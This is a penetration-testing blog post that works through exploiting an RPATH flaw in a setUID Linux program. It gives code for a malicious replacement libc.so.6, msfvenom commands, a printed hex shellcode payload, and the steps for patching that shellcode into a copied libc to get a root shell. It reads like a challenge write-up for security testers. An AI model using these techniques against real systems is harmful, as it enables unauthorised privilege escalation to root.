Research and Development

In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post on setUID exploitation.

A hacker challenge gone wrong

A long time ago, I set my team challenge of identifying an RPATH vulnerability and (if possible) exploiting the vulnerability to run some code of their choosing with higher privileges. I named my program arp-ath – lest people wasted too much time looking for other attack vectors:

$ cat arp-ath.c
#include <stdio.h>
int main(void) {
 printf("Hello world\n");
}
$ gcc -Wl,-rpath,. -o arp-ath arp-ath.c
# chmod 4755 arp-ath

The program behaves as you’d expect and is linked to libc.so.6 as you’d expect:

$ ./arp-ath
Hello world
$ ldd arp-ath
 linux-vdso.so.1 => (0x00007fff0a3fd000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb6dc0d6000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fb6dc489000)

The vulnerability lies in the fact the program seaches the current directory for its libraries:

$ readelf -a arp-ath | grep -i path
0x000000000000000f (RPATH) Library rpath: [.]

(You’ll sometimes see RUNPATH instead of RPATH, but both work). Check it’s vulnerable like this:

$ touch libc.so.6
$ ./arp-ath
./arp-ath: error while loading shared libraries: ./libc.so.6: file too short

This challenge is very similar to Level 15 of the Nebula challenge if you want to play along using that – though it’s 32-bit.

The team found the “arp-ath” vulnerability pretty quickly and replied to let me know. Which you’d expect as it is their job to find such vulnerabilities on client systems during Build Reviews.

What I hadn’t personally anticipated is what a pain it is to create a malicious modified version of libc.so.6 on 64-bit Linux. So rather than face the embarrassment of having posted a challenge that I didn’t actually have a full solution for, I cobbled together the shellcode-based solution outlined above. First let’s have a look at the difficulties I had in creating my own libc.so.6.

Problems compiling a replacement libc.so.6 on 64-bit Linux

I lost my original notes of what I’d tried, but I’m pretty sure that I and my colleagues followed a similar path to this solution to the Nebula level 15 challenge - which has a really nice writeup of how to debug shared libraries that don’t want to work.

Here’s an initial attempt, which should cause a shell to spawn when the library is loaded (note I could also have replaced the “puts” function).

$ cat exploit1.c
#include <stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -o libc.so.6 exploit1.c
$ ldd ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
linux-vdso.so.1 (0x00007ffeea77d000)
libc.so.6 => ./libc.so.6 (0x00007f50430f9000)
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
./arp-ath: relocation error: ./libc.so.6: symbol __cxa_finalize, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

So, let’s address those errors about lack of version numbers and failure to export __cxa_finalize (after much googling)…

$ cat version
GLIBC_2.2.5{};
$ cat exploit2.c
#include <stdlib.h>

void __cxa_finalize (void *d) {
 return;
}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -Wl,--version-script=version -o libc.so.6 exploit2.c
$ ./arp-ath
./arp-ath: relocation error: ./libc.so.6: symbol system, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

Hmm. More errors.

Cutting short a very long sequence of trial and error, when we eventually try to replicate the solution to the Nubula level 15 challenge on 64-bit, we find that it only seems to work for 32-bit:

gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 exploit2.c
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(system.o): relocation R_X86_64_32 against `.bss' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sysdep.o): relocation R_X86_64_TPOFF32 against symbol `errno' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sigaction.o): relocation R_X86_64_32S against `.text' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: final link failed: Nonrepresentable section on output
collect2: error: ld returned 1 exit status

If I understood my googling correctly, I need a version of libc that’s been compiled with -fPIC, but that’s not possible for some reason I didn’t understand.

I did consider grabbing the source for libc and recompiling it after a modification, but decided life was too short. I had a better (or at least quicker) idea…

So just use metasploit, then?

I had a quick go at generating a shared object file with msfvenom:

msfvenom -a x64 -f elf-so -p linux/x64/exec CMD=/bin/sh AppendExit=true > libc.so.6
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: symbol lookup error: ./arp-ath: undefined symbol: __libc_start_main, version GLIBC_2.2.5

This was awfully familiar. I didn’t grapple much more with msfvenom after this.

Patching shellcode into a copy of libc.so.6

I figured I could open up a copy of libc.so.6 in a hex editor and paste in some shellcode over the top of __libc_start_main function. No matter how horribly I corrupted the file or how badly it crashed after it executed my shellcode, at least I’d have my shell.

I grabbed some shellcode off the internet – but equally could have generated in it Metasploit like this (I also appended a call to exit to stop the inevitable crash I mentioned):

$ msfvenom -a x64 -f hex -p linux/x64/exec CMD=/bin/sh AppendExit=true
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 55 bytes
Final size of hex file: 110 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e8080000002f62696e2f73680056574889e60f054831ff6a3c580f05

Then I made a copy of libc.so.6 and located the file offset for the __libc_start_main function:

$ cp /lib/x86_64-linux-gnu/libc.so.6 .
$ objdump -FD libc.so.6 | grep _main
00000000000201f0 <__libc_start_main@@GLIBC_2.2.5> (File Offset: 0x201f0):
...

Using a hexeditor I pasted in the shellcode.

</span>
<pre>$ hexedit libc.so.6
Use CTRL-G to seek to the offset in the file
image-6582

Use CTRL-G to seek to the offset in the file

(CTRL-G to go to an offset (0x201f0); paste in our shellcode; F2 to save; CTRL-C to quit.)

Shellcode pasted over existing code
image-6583

Shellcode pasted over existing code

$ ./arp-ath
# id
uid=1000(x) gid=1000(x) euid=0(root) groups=1000(x)

Finally! :-)

And this works on AIX too?

I tried to get this working on AIX – which typically doesn’t have a C compiler available; AND typically has loads of RPATH vulnerabilities. However, the shellcode I tried was self-modifying. This is fine when you’re injecting shellcode as data, but the code section I was injecting into was read-only. So I got a segfault. I’ll follow up if get this working.

Conclusion

The quick and dirty solution, while inevitably unsatisfactory is sometimes sufficient. Especially given the lack of tools, source, time you might have when exploiting this sort of vulnerabilities. Maybe it’s not a terrible solution. You be the judge.


Request to be added to the Portcullis Labs newsletter

We will email you whenever a new tool, or post is added to the site.

Your Name (required)

Your Email (required)